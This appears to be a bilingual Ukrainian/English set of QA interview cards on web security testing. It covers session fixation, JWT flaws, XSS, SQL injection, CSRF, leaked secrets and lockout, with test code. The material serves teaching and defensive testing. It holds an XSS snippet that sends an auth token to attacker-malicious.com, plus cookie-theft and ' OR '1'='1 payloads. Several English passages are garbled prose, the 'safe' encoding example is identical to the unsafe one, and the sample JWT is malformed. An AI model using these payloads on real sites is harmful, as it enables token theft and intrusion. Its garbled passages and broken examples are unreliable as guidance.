A1B2C3D4_old). Ми зберігаємо її у cookies.txt. На другому кроці робимо запит авторизації з логіном/паролем та нашою анонімною cookie. Головний фокус на третьому кроці: чи сервер прийняв старий ID, зробивши його авторизованим (вразливість), чи випустив абсолютно новий, відхиливши спробу фіксації?.session=A1B2C3D4_old identifier cached tightly inside cookies.txt. The secondary maneuver issues a forceful authentication pipeline—embedding both credentials and the anonymous cookie snippet organically. The defining revelation lies at step three: Does the insecure API lazily echo back our predetermined session logic (Vulnerable), or aggressively override it demanding a pristine X9Y8Z7_new identifier natively (Secure)?Що це: Інвалідація токена гарантує, що після того, як користувач натиснув "Logout", його поточна сесія чи токен безповоротно знищується на сервері. Це означає, що перехоплений або скопійований ідентифікатор сесії (куди би він не був вставлений) миттєво втрачає силу і повертає статус 401 Unauthorized, а не дозволяє подальший доступ до захищених ресурсів.
Навіщо/коли: Якщо токени лише видаляються з локального сховища (LocalStorage/Cookie), але залишаються валідними на бекенді, це створює величезну діру безпеки. Зловмисник, що перехопив токен або знайшов його на спільному комп'ютері (наприклад, в інтернет-кафе), матиме постійний доступ, поки не вийде час життя (expiration) токена. Вміння знаходити цей дефект — "must-have" для старших інженерів рівня Senior QA.
Приклад з реального проєкту: На великому фінтех-проєкті з JWT-авторизацією я помітив дивну поведінку. Під час логауту клієнт видаляв токен і показував гарну анімацію, але я скопіював JWT до логауту і підставив його в Postman. Сервер обробляв мої запити GET /api/balance і далі, бо бекенд перевіряв лише підпис та строк життя (який був 30 днів!), але не тримав "чорного списку" (blacklist) відкликаних токенів. Це вимагало серйозного рефакторингу логіки авторизації з використанням Redis для блокування старих токенів.
Підводні камені: Найбільша проблема з JWT (JSON Web Tokens) — це їхня stateless природа. За замовчуванням бекенд не знає про логаут, оскільки не зберігає стан сесії. Інвалідація JWT на сервері вимагає впровадження бази даних in-memory (як Redis) для збереження blacklist-у або переходу на схему short-lived Access token (живе 5-15 хвилин) + Refresh token. Інший момент — іноді кеш або CDN продовжують віддавати контент навіть при правильній інвалідації, якщо застосунок неправильно виставляє заголовки кешування.
Уточнююче питання: Як наша архітектура справляється з логаутом при stateless JWT підході: ми використовуємо чорні списки в Redis чи агресивні строги життя (наприклад, пару хвилин на Access token)?
What it is: Token invalidation logically guarantees that once a client executes an explicit "Logout" routine, the active session string or embedded token inevitably evaporates permanently across the backend axis. Even if violently compromised, intercepted, or stolen prior to logout, presenting archaic artifacts reliably yields fierce HTTP 401 Unauthorized assertions instead of maintaining malicious pipeline continuity securely.
Why/when: Permitting architectural ignorance whereby credentials are merely stripped locally (flushed from LocalStorage or browser Cookies) without aggressively purging identical traces globally exposes catastrophic risks. An adversarial actor intercepting residual session footprints retains uninhibited administrative leeway up until harsh token lifecycles strictly naturally decay. Demonstrating uncompromised awareness surrounding stateful purges firmly defines Senior QA boundaries explicitly distinguishing hardened architects.
Real project example: Overhauling an elite fintech platform strictly leaning into decentralized JWT deployments, I pinpointed significant architecture dissonance. Functioning logouts cleanly wiped client-side tokens beautifully masking underlying peril. Yet deliberately copying the identical JWT string beforehand and feeding it to Postman yielded full GET /api/balance parity hours later. The backend purely verified mathematical JWT cryptographic signatures without validating active session Blacklists (revocations). Repair mandated hardlining Redis instances dynamically catching and bouncing globally revoked states.
Pitfalls: Navigating JSON Web Tokens (JWT) profoundly introduces intrinsic stateless friction natively prohibiting basic logout paradigms out-of-the-box dynamically. Defeating this vulnerability absolutely warrants mapping a fiercely guarded dynamic Blacklist ledger mapping compromised elements using rapid In-Memory databases (like Redis), or pivoting strictly into minimal-scope Access Token architectures rigidly capped around 5-15 minute durations tightly paired against stateful Refresh workflows simultaneously. Additionally, aggressive CDN caching environments occasionally blindly output rendered data independent of logical validation.
Clarifying question: To safely accommodate asynchronous explicit user logouts across stateless JWT architecture models natively, do we govern immediate access destruction using distributed Redis revocation arrays, or rely entirely upon inherently accelerated expiration clocks logically?
test('Proper JWT invalidation after explicit logout', async ({ request }) => {
// 1. Retrieve a valid active authentication token normally
const token = await login('secure_user');
// 2. Trigger the formal backend Logout routine
const logoutResponse = await request.post('/api/auth/logout', {
headers: { 'Authorization': `Bearer ${token}` }
});
expect(logoutResponse.status()).toBe(200);
// 3. Critical Check: Attempt reusing the theoretically destroyed token
const secureTry = await request.get('/api/user/profile', {
headers: { 'Authorization': `Bearer ${token}` }
});
// Backend MUST reject the zombie token logically asserting 401 code!
expect(secureTry.status()).toBe(401);
});
/logout pathways directly altering server constraints seamlessly. The critical execution relies entirely upon resubmitting the theoretically murdered token aggressively mapping protected endpoints gracefully. Rigidly enforcing expectations dictates backend routing accurately detects revocation and instantly throttles access imposing a strict 401 HTTP baseline code effectively.Що це: JSON Web Token (JWT) — це компактний та самодостатній стандарт (RFC 7519) для безпечної передачі інформації між сторонами у вигляді JSON-об'єкта. Він складається з трьох частин, розділених крапками: Header (заголовок), Payload (дані) та Signature (цифровий підпис), який гарантує цілісність даних.
Навіщо/коли: JWT активно використовується в сучасних мікросервісних архітектурах та SPA для безстатевої (stateless) автентифікації. QA зобов'язаний перевіряти, чи перевіряє сервер криптографічний підпис і чи не довіряє він зміненому пейлоаду без перевірки секрету.
Приклад з реального проєкту: Під час тестування API інженер перехопив JWT-токен у Burp Suite, розкодував його base64-пейлоад, змінив роль із role: user на role: admin і надіслав на бекенд. Сервер успішно прийняв токен, оскільки розробники реалізували декодування без перевірки криптографічного підпису або допускали алгоритм alg: none.
Підводні камені: Зберігання чутливих даних (паролів, персональних даних) у payload є грубою помилкою, оскільки base64 є кодуванням, а не шифруванням, і будь-хто може прочитати вміст токена в браузері.
Уточнююче питання: Як атака 'alg: none' та вразливість підміни ключів RS256 на HS256 компрометують JWT і як налаштувати сувору верифікацію алгоритмів на сервері?
What it is: JSON Web Token (JWT) is a compact, self-contained standard (RFC 7519) for securely transmitting information between parties as a JSON object. It consists of three dot-separated parts: Header, Payload, and Signature, which guarantees data integrity.
Why/when: JWTs are widely used in modern microservices and SPAs for stateless authentication. QA must verify whether the backend rigorously verifies cryptographic signatures and rejects tampered payloads.
Real project example: During API testing, an engineer intercepted a JWT in Burp Suite, decoded its base64 payload, modified role: user to role: admin, and replayed it. The server accepted it because developers decoded tokens without validating signatures or permitted the alg: none vulnerability.
Pitfalls: Storing sensitive data in the payload is a major security flaw since base64 is encoding, not encryption, and anyone can inspect token claims in client storage.
Clarifying question: How do 'alg: none' attacks and RS256-to-HS256 key confusion vulnerabilities compromise JWT implementations, and how do you enforce strict algorithm whitelisting?
eyJhbGciOiJIUzI1NiIsInR5cCIIkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiX3JvbGUiOiJhZG1pbiJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Що це: Термін дії токена (claim exp) визначає точний час у форматі Unix timestamp, після якого JWT стає недійсним. Обмеження алгоритмів (algorithm restriction) вимагає від бекенду приймати лише заздалегідь визначені та захищені криптографічні алгоритми (наприклад, суворо RS256 або HS256), відхиляючи невідомі чи слабкі варіанти.
Навіщо/коли: Якщо токен не має терміну дії або він занадто довгий, викрадений токен дає зловмиснику перманентний доступ до системи. Відсутність жорсткого білого списку алгоритмів дозволяє виконати атаку підміни підпису.
Приклад з реального проєкту: Під час аудиту QA виявив, що емітовані JWT-токени не мали поля exp і діяли нескінченно. Після компрометації одного токена зловмисник міг роками користуватися акаунтом. Також бібліотека валідації на бекенді приймала заголовок "alg": "none", повністю вимикаючи перевірку підпису.
Підводні камені: Розробники часто покладаються на стандартні налаштування сторонніх бібліотек, які за замовчуванням дозволяють гнучкий вибір алгоритмів, що створює серйозні ризики безпеки.
Уточнююче питання: Як налаштувати бібліотеку перевірки JWT у вашому стеку технологій так, щоб заблокувати будь-які інші алгоритми підпису, крім затвердженого?
What it is: Token expiration (the exp claim) defines the precise Unix timestamp after which a JWT becomes invalid. Algorithm restriction requires backends to accept only pre-approved, robust cryptographic algorithms (e.g., strictly RS256 or HS256), rejecting unsupported or weak variants.
Why/when: If tokens lack expiration claims or have excessively long lifetimes, leaked tokens grant permanent adversary access. The absence of strict algorithm whitelisting enables signature bypass attacks.
Real project example: During an audit, a QA discovered issued JWTs lacked the exp claim entirely, persisting indefinitely. Furthermore, the backend validation library accepted "alg": "none", bypassing signature verification completely.
Pitfalls: Developers frequently rely on default configurations of third-party libraries which permit flexible algorithm selection, introducing critical security risks.
Clarifying question: How do you configure JWT validation libraries in your tech stack to enforce strict algorithm whitelisting and reject unverified tokens?
{
"sub": "user_551",
"role": "moderator",
"iat": 1727400000,
"exp": 1727403600
}
exp (expiration time), яке обмежує час життя токена однією годиною з моменту випуску.exp (expiration time) claim, restricting the token lifetime strictly to one hour from issuance.Що це: Механізм скидання пароля — це критичний процес відновлення доступу, який зазвичай генерує унікальне одноразове посилання з токеном і надсилає його на email користувача. Погано спроєктовані посилання можуть призвести до перехоплення токенів, їх багаторазового використання або витоку через заголовки Referer.
Навіщо/коли: Цей функціонал обов'язково перевіряється на стійкість до атак перебору токенів, аналізу терміну дії, прив'язки до IP-адреси або сесії, а також на витік токенів у зовнішні сторонні сервіси через редиректи.
Приклад з реального проєкту: Під час тестування авторизації QA звернув увагу, що посилання для скидання пароля містило передбачуваний послідовний токен і діяло тижнями. Ба більше, при переході за посиланням на сторонній догляд аналітикики через зовнішній скрипт, токен передавався у заголовку Referer, дозволяючи третім особам перехопити його.
Підводні камені: Токени відновлення пароля обов'язково повинні хешуватися в базі даних аналогічно до паролів, щоб витік самої БД не дозволив зловмиснику масово скинути паролі користувачів.
Уточнююче питання: Які найкращі практики захисту процесу відновлення пароля ви рекомендуєте впроваджувати (наприклад, обмеження кількості спроб, коротким TTL та інвалідацією після першого використання)?
What it is: Password reset functionality is a critical recovery mechanism that generates unique tokenized URLs sent to user emails. Poorly engineered reset flows risk token enumeration, replay attacks, infinite lifespans, or token leakage via HTTP Referer headers.
Why/when: This flow is tested for brute-force resistance, cryptographic token randomness, TTL expiration, single-use enforcement, and prevention of third-party leakage.
Real project example: During an authorization audit, a QA noticed password reset links contained sequential, predictable tokens valid for weeks. Furthermore, clicking a link loaded an external analytics script, leaking the sensitive reset token via the Referer header to third parties.
Pitfalls: Password reset tokens must be securely hashed in the database similar to passwords, ensuring database breaches do not expose active plain-text reset tokens.
Clarifying question: What security best practices do you enforce for password reset mechanisms, such as short TTLs, single-use token invalidation, and rate limiting?
GET /api/v1/auth/reset-password?token=a8f9c21b4e6d7812f&email=user@valtive.io HTTP/1.1
Host: auth.valtive.io
Referer: https://analytics-partner.com/track
Що це: Міжсайтовий скриптинг (XSS) — це вразливість, яка дозволяє зловмиснику впроваджувати шкідливі клієнтські скрипти (зазвичай JavaScript) у вебсторінки, що переглядаються іншими користувачами. Stored (збережена) XSS зберігається в базі даних і показується всім. Reflected (відбита) XSS виконується одразу з вхідних параметрів запиту (наприклад, у URL). DOM-based XSS виникає через небезпечну обробку DOM на стороні клієнта у JavaScript.
Навіщо/коли: Тестування на XSS є обов'язковим для всіх полів введення, коментарів, профілів та параметрів пошуку, які відображають дані на екрані без належного екранування.
Приклад з реального проєкту: Під час тестування блогу QA ввів рядок <script>alert(document.cookie)</script> у поле імені профілю (Stored XSS). При кожному переході сторінки профілю цей скрипт виконувався у браузерах адміністраторів, викрадаючи їхні сесійні куки.
Підводні камені: Розробники часто концентруються лише на захисті від Stored XSS, забуваючи про DOM XSS, яка виникає повністю на клієнті через небезпечне використання таких властивостей, як innerHTML.
Уточнююче питання: Як за допомогою інструментів розробника та сканерів безпеки знаходити DOM XSS, які не передаються на бекенд?
What it is: Cross-Site Scripting (XSS) is a vulnerability enabling adversaries to inject malicious client-side scripts (typically JavaScript) into web pages viewed by other users. Stored XSS persists in the database and affects all visitors. Reflected XSS executes immediately from unvalidated request parameters. DOM-based XSS occurs entirely client-side through unsafe DOM manipulation in JavaScript.
Why/when: XSS testing is mandatory for all input fields, comment sections, profiles, and query parameters rendering output without proper encoding.
Real project example: While testing a blog, a QA entered <script>alert(document.cookie)</script> into a profile name field (Stored XSS). Whenever administrators viewed the profile, the script executed, exposing session cookies.
Pitfalls: Developers frequently focus on preventing Stored XSS while neglecting DOM XSS caused by client-side sinks like innerHTML.
Clarifying question: How do you utilize browser developer tools and specialized scanners to detect DOM XSS vulnerabilities that never hit the backend server?
<script>
const token = localStorage.getItem('auth_token');
fetch('https://attacker-malicious.com/steal?t=' + token);
</script>
Що це: Output Encoding (екранування виводу) — це процес перетворення спеціальних символів (таких як <, >, &, ", ') на їхні безпечні HTML-сутності (наприклад, < замість <) перед тим, як вони відобразяться у браузері користувача.
Навіщо/коли: Це основний і найефективніший метод запобігання XSS-вразливостям. Будь-які дані, що надходять від користувачів або сторонніх API і рендеряться в HTML, повинні проходити через контекстно-залежне екранування.
Приклад з реального проєкту: Під час перевірки звіту з безпеки QA виявив, що назва компанії, яку вводив користувач, містила HTML-теги і виконувалась як код. Розробник додав функцію контекстного екранування виводу в шаблонізаторі (наприклад, у React чи Jinja2 за замовчуванням), і тепер браузер відображає введені символи як звичайний текст, а не як виконання сценарію.
Підводні камені: Екранування має бути контекстним: екранування для HTML-контексту не захищає, якщо дані потрапляють усередину JavaScript-змінної або атрибута style, де потрібне спеціальне кодування.
Уточнююче питання: У чому різниця між HTML-енкодінгом, JavaScript-енкодінгом та URL-енкодінгом у контексті запобігання ін'єкціям?
What it is: Output encoding is the process of translating special characters (such as <, >, &, ", ') into their corresponding safe HTML entities (e.g., < instead of <) before rendering them in the user browser.
Why/when: This is the primary and most robust defense against XSS vulnerabilities. Any data originating from users or external APIs rendered into HTML must undergo context-aware encoding.
Real project example: During a security review, a QA found that user-supplied company names rendered raw HTML tags and executed scripts. The developer implemented context-aware template engine encoding (leveraging framework defaults like React or Jinja2), ensuring browsers render input safely as plain text.
Pitfalls: Encoding must match the rendering context: HTML entity encoding does not protect data injected inside raw JavaScript blocks or attribute contexts where specialized escaping is required.
Clarifying question: What is the distinction between HTML encoding, JavaScript escaping, and URL encoding when mitigating injection vulnerabilities across contexts?
<-- Unsafe raw render -->
<div><script>alert(1)</script></div>
<-- Safe encoded render -->
<div><script>alert(1)</script></div>
Що це: SQL-ін'єкція (SQLi) — це вразливість, що дозволяє зловмиснику втручатися у запити, які застосунок надсилає до бази даних. Безпечний SQLi-smoke тест (тест на дим) — це неруйнівна перевірка наявності вразливості за допомогою нешкідливих операторів часу затримки (time-based) або логічних умов (наприклад, ' OR '1'='1), які не змінюють і не видаляють дані в БД.
Навіщо/коли: QA зобов'язаний перевіряти поля введення, параметри пагінації та фільтрації на наявність SQLi, але виключно на тестових стендах і без використання деструктивних команд на кшталт DROP TABLE або UNION SELECT з видаленням даних.
Приклад з реального проєкту: Під час тестування форми пошуку товарів QA ввів спеціальний символ лапки ' у поле вводу. У відповідь застосунок повернув детальну помилку бази даних PostgreSQL із повним стеком викликів SQL-запиту. Це підтвердило наявність вразливості без необхідності виконання будь-яких деструктивних атак.
Підводні камені: Проведення навіть безпечних тестів на SQLi на продуктивних середовищах є неприпустимим, оскільки складні запити можуть призвести до вичерпання пулу з'єднань або зависання бази даних.
Уточнююче питання: Як використання параметризованих запитів (Prepared Statements) та ORM повністю закриває клас вразливостей SQL-ін'єкцій на рівні архітектури?
What it is: SQL Injection (SQLi) is a vulnerability allowing attackers to interfere with database queries constructed by an application. A safe SQLi smoke test is a non-destructive verification method using harmless timing delays (time-based) or boolean conditions (e.g., ' OR '1'='1) that never modify or delete database records.
Why/when: QA must test input fields, search filters, and sorting parameters for SQLi strictly in non-production staging environments without executing destructive commands like DROP TABLE.
Real project example: While testing a product search form, a QA entered a single quote ' into the input. The application responded with a detailed PostgreSQL database error exposing internal query structures, confirming the vulnerability safely without data corruption.
Pitfalls: Executing even non-destructive SQLi probes in production environments is strictly forbidden, as complex crafted queries can exhaust database connection pools or trigger performance denial of service.
Clarifying question: How do parameterized queries (Prepared Statements) and ORM frameworks structurally eliminate the entire class of SQL injection vulnerabilities?
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';
'1'='1' завжди повертає true і дає несанкціонований доступ без пароля.'1'='1' evaluates to true, granting unauthorized access without a password.Що це: CSRF (Cross-Site Request Forgery або підробка міжсайтових запитів) — це атака, яка змушує автентифікованого користувача виконувати небажані дії в вебдодатку, якому він довіряє. Атрибут SameSite для кук є сучасним захисним механізмом, що контролює, чи передаються куки разом із запитами з інших сторонніх сайтів.
Навіщо/коли: CSRF перевіряється на всіх формах та API-ендпоїнтрах, які змінюють стан даних (POST, PUT, DELETE) і використовують сесійні куки для автентифікації без додаткових захисних токенів чи SameSite політик.
Приклад з реального проєкту: Під час тестування банківського порталу QA створив зловмисний HTML-файл на сторонньому домені з автоматичною формою, яка відправляла POST-запит на переказ грошей довірчого банку. Оскільки сесійні куки автоматично прикріплювалися браузером, транзакція успішно виконалась. Після налаштування кук у режим SameSite=Strict браузер перестав передавати куки при крос-доменних переходах, закривши вразливість.
Підводні камені: SameSite не захищає повністю, якщо додаток використовує старі браузери або якщо запити здійснюються через GET-методи з навігацією, тому додаткове використання CSRF-токенів залишається золотим стандартом безпеки.
Уточнююче питання: У чому різниця між режимами SameSite=Strict, SameSite=Lax та SameSite=None і які ризики несе кожен із них?
What it is: CSRF (Cross-Site Request Forgery) is an attack forcing an authenticated user to execute unwanted actions on a trusted web application. The SameSite cookie attribute is a modern defense mechanism controlling whether cookies are included with cross-site requests.
Why/when: CSRF is tested across all state-changing forms and API endpoints (POST, PUT, DELETE) relying on session cookies for authentication without supplementary CSRF tokens.
Real project example: While testing a banking portal, a QA crafted a malicious external HTML form submitting a POST request to transfer funds. Because session cookies attached automatically, the transfer succeeded. Configuring cookies with SameSite=Strict halted cross-site cookie transmission, mitigating the risk.
Pitfalls: SameSite does not provide complete protection across legacy browsers or top-level navigation GET requests, which is why anti-CSRF synchronization tokens remain a vital defense layer.
Clarifying question: What are the operational differences between SameSite=Strict, SameSite=Lax, and SameSite=None, and what security trade-offs does each introduce?
HTTP/1.1 200 OK
Set-Cookie: session_id=xyz987; Secure; HttpOnly; SameSite=Strict
Що це: Зберігання секретів (паролів, API-ключів, токенів доступу до AWS чи баз даних) у репозиторії вихідного коду Git є грубим порушенням безпеки. Навіть якщо розробник видалив файл із секретом у наступному коміті, секрет назавжди залишається в історії комітів Git і може бути легко витягнутий за допомогою простих команд або сканерів.
Навіщо/коли: QA зобов'язаний перевіряти репозиторій за допомогою спеціалізованих сканерів секретів (наприклад, git-secrets або trufflehog) перед кожним релізом, щоб запобігти витоку чутливих даних у публічні репозиторії.
Приклад з реального проєкту: Під час аудиту репозиторію QA запустив сканування історії командою git log -p і знайшов захардкожений токен доступу до AWS у коміті місячної давнини, який розробник забув видалити з конфігураційного файлу. Зловмисник міг використати цей ключ для повного захоплення хмарної інфраструктури компанії.
Підводні камені: Звичайне видалення файлу у новій гілці не видаляє секрет з історії Git; для повного очищення потрібно використовувати інструменти на кшталт git filter-repo або перестворювати репозиторій.
Уточнююче питання: Як налаштувати перехоплювачі комітів pre-commit hooks для автоматичного блокування комітів зі сканами секретів локально?
What it is: Storing secrets (passwords, API keys, database credentials) inside Git source code repositories is a severe security violation. Even if a developer deletes a secrets file in a subsequent commit, the secret remains permanently embedded in the Git commit history and can be easily extracted.
Why/when: QA must audit repositories using specialized secret scanners (such as git-secrets or trufflehog) prior to releases to prevent sensitive data leaks in public or internal repositories.
Real project example: During a repository audit, a QA ran history scanning and discovered a hardcoded AWS access key in a commit from a month ago that the developer forgot to remove. An adversary could leverage this key to compromise the entire cloud infrastructure.
Pitfalls: Merely deleting a file in a new commit does not purge the secret from Git history; complete removal requires tools like git filter-repo or repository re-initialization.
Clarifying question: How do you configure pre-commit hooks to automatically block commits containing hardcoded secrets before they reach remote repositories?
git log -S "AWS_SECRET_ACCESS_KEY" --p
# Output snippet showing committed secret
+AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
+AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Що це: Маскування секретів у CI/CD (GitHub Actions, GitLab CI, Jenkins) — це заміна чутливих значень на *** у логах збірки. Платформа маскує лише ті рядки, які вона знає: значення з secrets.* або змінні, позначені як masked. Усе, що похідне від секрету — токен, виданий за ключем, base64 від пароля, рядок підключення з паролем усередині, — платформа не розпізнає, поки ви явно не зареєструєте його командою ::add-mask::.
Навіщо/коли: Логи CI бачить набагато ширше коло людей, ніж сховище секретів: усі розробники, підрядники, а у публічному репозиторії — будь-хто. Тести особливо часто стають джерелом витоку, бо HTTP-клієнти в debug-режимі логують заголовки Authorization, а падіння тесту друкує весь об'єкт конфігурації.
Сценарій інциденту: У лозі нічного прогону я побачив рядок підключення до staging-бази з паролем у відкритому вигляді — його надрукував set -x у кроці міграцій. Мій порядок дій: 1) вважаю секрет скомпрометованим з моменту появи в лозі та ініціюю негайну ротацію — видалення логу без ротації нічого не гарантує, бо лог могли вже прочитати або завантажити; 2) видаляю логи цього прогону, перевіряю артефакти й кеші, куди могла потрапити та сама змінна; 3) оцінюю експозицію: хто мав доступ до логів, скільки часу вони висіли, чи є в audit-логах бази підключення з невідомих адрес; 4) знаходжу першопричину і закриваю її системно: прибираю set -x з кроків із секретами, додаю ::add-mask:: для похідних значень, вмикаю редагування заголовків у логуванні тестового HTTP-клієнта; 5) додаю в пайплайн перевірку, яка сканує логи й артефакти на відомі шаблони ключів.
Компроміси: Детальні логи потрібні, щоб розбирати падіння тестів, тому повністю вимикати логування запитів — погана відповідь: краще логувати запити з редагуванням чутливих заголовків і полів. Короткоживучі токени через OIDC замість статичних ключів різко зменшують шкоду від витоку, але ускладнюють локальне відтворення пайплайну. Маскування — лише остання лінія: воно працює на рівні рядка і не врятує, якщо значення змінене, розбите на частини або виведене в артефакт, а не в консоль.
Підводні камені: Покладатися тільки на маскування і не робити ротацію; забути про форки та pull request-и із зовнішніх репозиторіїв; вважати, що приватний репозиторій означає приватні логи для всіх підрядників.
Уточнююче питання: Хто у вашій команді володіє процесом ротації секретів і скільки часу реально займає заміна ключа до staging-бази?
What it is: Secret masking in CI/CD (GitHub Actions, GitLab CI, Jenkins) replaces sensitive values with *** in build logs. The platform only masks strings it knows about: values coming from secrets.* or variables marked as masked. Anything derived from a secret — a token issued with a key, the base64 of a password, a connection string with a password inside — is not recognised until you register it explicitly with ::add-mask::.
Why/when: Far more people can read CI logs than the secret store: every developer, contractors, and in a public repository anyone at all. Tests are a frequent source of leaks, because HTTP clients in debug mode log the Authorization header and a failing test prints the whole configuration object.
Incident scenario: In a nightly run log I saw the staging database connection string with the password in plain text — set -x in the migrations step had printed it. My sequence: 1) treat the secret as compromised from the moment it hit the log and trigger rotation immediately — deleting the log without rotating guarantees nothing, because someone may already have read or downloaded it; 2) delete the logs of that run and check artifacts and caches where the same variable could have ended up; 3) assess exposure: who had access to the logs, how long they were up, and whether the database audit log shows connections from unknown addresses; 4) find the root cause and close it for good: remove set -x from steps that handle secrets, add ::add-mask:: for derived values, and turn on header redaction in the test HTTP client's logging; 5) add a pipeline check that scans logs and artifacts for known key patterns.
Trade-offs: Detailed logs are needed to investigate test failures, so switching request logging off completely is a poor answer: log requests with sensitive headers and fields redacted instead. Short-lived OIDC tokens instead of static keys sharply reduce the damage of a leak, but make it harder to reproduce the pipeline locally. Masking is only the last line of defence: it works per string and will not help if the value is transformed, split, or written to an artifact rather than the console.
Pitfalls: Relying on masking alone and skipping rotation; forgetting about forks and pull requests from external repositories; assuming a private repository means private logs for every contractor.
Clarifying question: Who owns secret rotation in your team, and how long does replacing the staging database key really take?
# secrets.* values are masked automatically.
# A value DERIVED from a secret is not: register it with add-mask.
- name: Issue short-lived DB token
run: |
TOKEN=$(./scripts/issue-db-token.sh "${{ secrets.DB_ADMIN_KEY }}")
echo "::add-mask::$TOKEN"
echo "DB_TOKEN=$TOKEN" >> "$GITHUB_ENV"
# Anti-pattern: set -x prints every expanded command, secrets included
# - run: set -x && psql "$DATABASE_URL" -f migrate.sql
::add-mask:: до того, як потрапить у будь-який вивід, і лише потім передається наступним крокам через $GITHUB_ENV. Закоментований рядок показує типову причину витоку — set -x у кроці, що працює з секретами.::add-mask:: before it reaches any output, and only then passed to later steps through $GITHUB_ENV. The commented line shows a typical cause of leaks — set -x in a step that handles secrets.Що це: HTTP-статус 429 Too Many Requests вказує на те, що користувач надіслав занадто багато запитів за певний проміжок часу (перевищив ліміт Rate Limiting). Це важливий механізм захисту вебдодатків від атак типу Denial of Service (DoS), брутфорсу паролів та автоматизованого парсингу даних.
Навіщо/коли: QA перевіряє наявність обмеження частоти запитів на критичних ендпоїнтах (авторизація, реєстрація, відновлення пароля, пошук) за допомогою автоматизованих інструментів або скриптів.
Приклад з реального проєкту: Під час тестування форми логіну QA надіслав 100 запитів поспіль за одну секунду за допомогою Postman Runner. На 11-му запиті сервер повернув статус 429 із заголовком Retry-After: 60, підтвердивши наявність захисту від брутфорсу.
Підводні камені: Якщо ліміт Rate Limiting прив'язаний лише до IP-адреси, користувачі за корпоративним NAT можуть випадково блокувати один одного, тому краще комбінувати IP з ідентифікатором користувача або токеном.
Уточнююче питання: Які алгоритми реалізації Rate Limiting (наприклад, Token Bucket або Fixed Window) ви знаєте і які їхні плюси й мінуси?
What it is: HTTP status 429 Too Many Requests indicates that the user has sent too many requests within a given timeframe, exceeding established Rate Limiting thresholds. It is a vital defense mechanism protecting web apps from Denial of Service (DoS), password brute-forcing, and scraping.
Why/when: QA verifies rate limiting enforcement on critical endpoints (login, registration, password reset, search) using automated tools or script runners.
Real project example: While testing a login form, a QA fired 100 consecutive requests in one second via Postman Runner. On the 11th request, the server returned status 429 with a Retry-After: 60 header, confirming brute-force mitigation.
Pitfalls: If rate limiting relies strictly on IP addresses, users behind corporate NAT proxies can inadvertently block each other, making combination with user tokens preferable.
Clarifying question: What rate limiting algorithms (such as Token Bucket or Fixed Window) do you prefer, and what are their operational trade-offs?
HTTP/1.1 429 Too Many Requests
Retry-After: 60
X-RateLimit-Limit: 10
X-RateLimit-Remaining: 0
Content-Type: application/json
Що це: Account Lockout — захисний механізм, який тимчасово або до ручного розблокування деактивує обліковий запис після певної кількості невдалих спроб входу поспіль (наприклад, після 5). Його мета — зробити перебір паролів до конкретного акаунта непрактичним.
Як я це тестую: Перевіряю точну межу (4 помилки — ще 401, 5-та — блокування), скидання лічильника після успішного входу, поведінку правильного пароля під час блокування, розблокування після таймауту або через email. Окремо — чи лічильник спільний для всіх входів: вебформа, мобільний API, старий /api/v1/login, крок MFA. І обов'язково паралельні запити: якщо лічильник оновлюється без атомарності, двадцять одночасних спроб проходять раніше, ніж спрацює блокування.
Компроміси: Жорстке блокування захищає від перебору, але дає атакувальнику інструмент DoS: знаючи формат корпоративних email, можна заблокувати всю компанію в понеділок зранку. Блокування лише за IP не допомагає проти credential stuffing з ботнета, де кожна адреса робить одну-дві спроби на різні акаунти. Тому зріле рішення комбіноване: прогресивні затримки й CAPTCHA після кількох помилок, тимчасове (а не вічне) блокування, ліміти і на акаунт, і на IP, перевірка паролів за базами витоків та MFA. Ще один компроміс — повідомлення: статус 423 або текст «акаунт заблоковано» зручні користувачу, але підтверджують, що акаунт існує, тобто відкривають перебір логінів.
Сценарій інциденту: Підтримка отримує сотні звернень від заблокованих користувачів за годину. Я дивлюся на метрику блокувань за часом і джерелами: якщо спроби йдуть з багатьох IP по списку реальних логінів, це атака на доступність. Короткостроково — перемкнути політику з блокування на затримки та CAPTCHA, масово розблокувати постраждалих; довгостроково — алерт на аномальну частоту блокувань і регресійні тести на нову політику.
Підводні камені: Тестувати лише вебформу, забувши про API; перевіряти межу послідовно й не перевіряти гонку; не мати окремих тестових акаунтів, через що тести блокування ламають інші автотести.
Уточнююче питання: Яку політику обрав продукт — блокування, затримки чи CAPTCHA — і хто в команді відповідає за моніторинг частоти блокувань?
What it is: Account lockout is a defensive mechanism that deactivates an account, temporarily or until a manual unlock, after a number of consecutive failed login attempts (for example, 5). Its goal is to make guessing the password of one specific account impractical.
How I test it: I check the exact boundary (4 failures still return 401, the 5th locks), that the counter resets after a successful login, how the correct password behaves while the account is locked, and unlocking after the timeout or via email. Separately, whether the counter is shared by every entry point: the web form, the mobile API, the old /api/v1/login, the MFA step. And always parallel requests: if the counter is updated without atomicity, twenty simultaneous attempts get through before the lock fires.
Trade-offs: A hard lock stops brute force but hands the attacker a DoS tool: knowing the corporate email format, you can lock the whole company out on a Monday morning. Locking by IP alone does not help against credential stuffing from a botnet, where each address makes one or two attempts against different accounts. So a mature design combines measures: progressive delays and CAPTCHA after a few failures, temporary rather than permanent locks, limits per account and per IP, checking passwords against breach lists, and MFA. Another trade-off is the message: a 423 status or an "account locked" text is convenient for the user, but it confirms the account exists and so opens up username enumeration.
Incident scenario: Support receives hundreds of tickets from locked-out users within an hour. I look at the lockout metric by time and source: if attempts come from many IPs against a list of real usernames, it is an attack on availability. Short term — switch the policy from locking to delays and CAPTCHA and bulk-unlock the affected users; long term — an alert on abnormal lockout rates and regression tests for the new policy.
Pitfalls: Testing only the web form and forgetting the API; checking the boundary sequentially and never checking the race; having no dedicated test accounts, so lockout tests break other automated tests.
Clarifying question: Which policy did the product choose — locking, delays or CAPTCHA — and who on the team watches the lockout rate?
import { test, expect } from '@playwright/test';
test('lockout fires exactly on the 5th failure', async ({ request }) => {
const bad = { email: 'lock.seq@example.test', password: 'wrong' };
for (let i = 0; i < 4; i++) {
expect((await request.post('/api/login', { data: bad })).status()).toBe(401);
}
expect((await request.post('/api/login', { data: bad })).status()).toBe(423);
// while locked, even the correct password must be rejected
const ok = await request.post('/api/login', { data: { ...bad, password: 'Correct#123' } });
expect(ok.status()).toBe(423);
});
